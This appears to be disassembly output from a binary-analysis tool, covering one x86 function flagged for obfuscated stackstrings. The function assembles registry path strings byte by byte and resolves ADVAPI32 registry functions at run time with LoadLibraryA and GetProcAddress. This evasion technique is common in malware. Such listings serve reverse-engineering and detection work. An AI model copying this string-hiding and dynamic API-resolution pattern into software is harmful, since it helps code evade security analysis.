Function at 0x420180
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x46614c]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov byte [ebp - 0x38], 0
xor ecx, ecx
mov dword [ebp - 0x37], ecx
mov dword [ebp - 0x33], ecx
mov dword [ebp - 0x2f], ecx
mov dword [ebp - 0x2b], ecx
mov dword [ebp - 0x27], ecx
mov dword [ebp - 0x23], ecx
mov dword [ebp - 0x1f], ecx
mov word [ebp - 0x1b], cx
mov byte [ebp - 0x19], cl
mov dword [ebp - 0x3c], 0
cmp dword [0x4686b0], 0
je 0x4201e0
jmp 0x4205ff
cmp dword [0x4686c0], 0
jne 0x4201f3
mov dword [0x4686c0], 1
mov byte [0x468712], 0x61
mov byte [0x468713], 0x72
mov byte [0x468714], 0x65
mov byte [0x468715], 0x5c
mov byte [0x468716], 0x57
mov byte [0x468717], 0x69
mov byte [0x468718], 0x6e
mov byte [0x468719], 0x64
mov byte [0x4686fc], 0x53
mov byte [0x4686fd], 0x6f
mov byte [0x468702], 0x72
mov byte [0x468703], 0x65
mov byte [0x468704], 0x5c
mov byte [0x468705], 0x43
mov byte [0x4686d8], 0x66
mov byte [0x4686d9], 0x74
mov byte [0x4686da], 0x5c
mov byte [0x4686db], 0x57
mov byte [0x4686dc], 0x69
mov byte [0x4686dd], 0x6e
mov byte [0x4686de], 0x64
mov byte [0x4686df], 0x6f
mov byte [0x4686e8], 0x64
mov byte [0x4686e9], 0x44
mov byte [0x4686ea], 0x6c
mov byte [0x4686eb], 0x6c
mov byte [0x4686c8], 0x53
mov byte [0x4686c9], 0x6f
mov byte [0x4686ca], 0x66
mov byte [0x4686cb], 0x74
mov byte [0x4686cc], 0x77
mov byte [0x4686cd], 0x61
mov byte [0x4686ce], 0x72
mov byte [0x4686cf], 0x65
mov byte [0x4686d0], 0x5c
mov byte [0x4686d1], 0x4d
mov byte [0x468706], 0x6c
mov byte [0x468707], 0x61
mov byte [0x46870a], 0x65
mov byte [0x46870b], 0x73
mov byte [0x468708], 0x73
mov byte [0x468709], 0x73
mov byte [0x46870c], 0x5c
mov byte [0x46870d], 0x53
mov byte [0x46870e], 0x6f
mov byte [0x46870f], 0x66
mov byte [0x468710], 0x74
mov byte [0x468711], 0x77
mov byte [0x46871a], 0x6f
mov byte [0x46871b], 0x77
mov byte [0x46871c], 0x73
mov byte [0x46871d], 0x5c
mov byte [0x46871e], 0x43
mov byte [0x46871f], 0x75
mov byte [0x468720], 0x72
mov byte [0x468721], 0x72
mov byte [0x468722], 0x65
mov byte [0x468723], 0x6e
mov byte [0x468724], 0x74
mov byte [0x468725], 0x56
mov byte [0x468726], 0x65
mov byte [0x468727], 0x72
mov byte [0x46872a], 0x6f
mov byte [0x46872b], 0x6e
mov byte [0x468728], 0x73
mov byte [0x468729], 0x69
mov byte [0x4686fe], 0x66
mov byte [0x4686ff], 0x74
mov byte [0x468700], 0x77
mov byte [0x468701], 0x61
mov byte [0x4686d2], 0x69
mov byte [0x4686d3], 0x63
mov byte [0x4686d4], 0x72
mov byte [0x4686d5], 0x6f
mov byte [0x4686d6], 0x73
mov byte [0x4686d7], 0x6f
mov byte [0x4686e0], 0x77
mov byte [0x4686e1], 0x73
mov byte [0x4686e2], 0x5c
mov byte [0x4686e3], 0x53
mov byte [0x4686e4], 0x68
mov byte [0x4686e5], 0x61
mov byte [0x4686e6], 0x72
mov byte [0x4686e7], 0x65
mov byte [0x4686ec], 0x73
push 0x14
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.00448bd0
add esp, 0xc
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x6c
mov byte [ebp - 0x14], 0x50
mov byte [ebp - 0x13], 0x49
mov byte [ebp - 0x12], 0x33
mov byte [ebp - 0x11], 0x32
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x44
mov byte [ebp - 0x16], 0x56
mov byte [ebp - 0x15], 0x41
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x3c], eax
push 0x20
push 0
lea ecx, [ebp - 0x38]
push ecx
call fcn.00448bd0
add esp, 0xc
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x43
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0x6f
mov byte [ebp - 0x32], 0x73
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x4b
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x79
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4686b4], eax
push 0x20
push 0
lea ecx, [ebp - 0x38]
push ecx
call fcn.00448bd0
add esp, 0xc
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x53
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x56
mov byte [ebp - 0x31], 0x61
mov byte [ebp - 0x30], 0x6c
mov byte [ebp - 0x2f], 0x75
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x45
mov byte [ebp - 0x2c], 0x78
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x65
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4686b0], eax
push 0x20
push 0
lea ecx, [ebp - 0x38]
push ecx
call fcn.00448bd0
add esp, 0xc
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x43
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x61
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x4b
mov byte [ebp - 0x2e], 0x65
mov byte [ebp - 0x2d], 0x79
mov byte [ebp - 0x2c], 0x45
mov byte [ebp - 0x2b], 0x78
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x2a], 0x41
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4686b8], eax
push 0x20
push 0
lea ecx, [ebp - 0x38]
push ecx
call fcn.00448bd0
add esp, 0xc
mov byte [ebp - 0x36], 0x67
mov byte [ebp - 0x35], 0x51
mov byte [ebp - 0x34], 0x75
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x30], 0x56
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x38], 0x52
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x75
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x2b], 0x45
mov byte [ebp - 0x2a], 0x78
mov byte [ebp - 0x29], 0x41
mov byte [ebp - 0x32], 0x72
mov byte [ebp - 0x31], 0x79
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4686bc], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044892a
mov esp, ebp
pop ebp
ret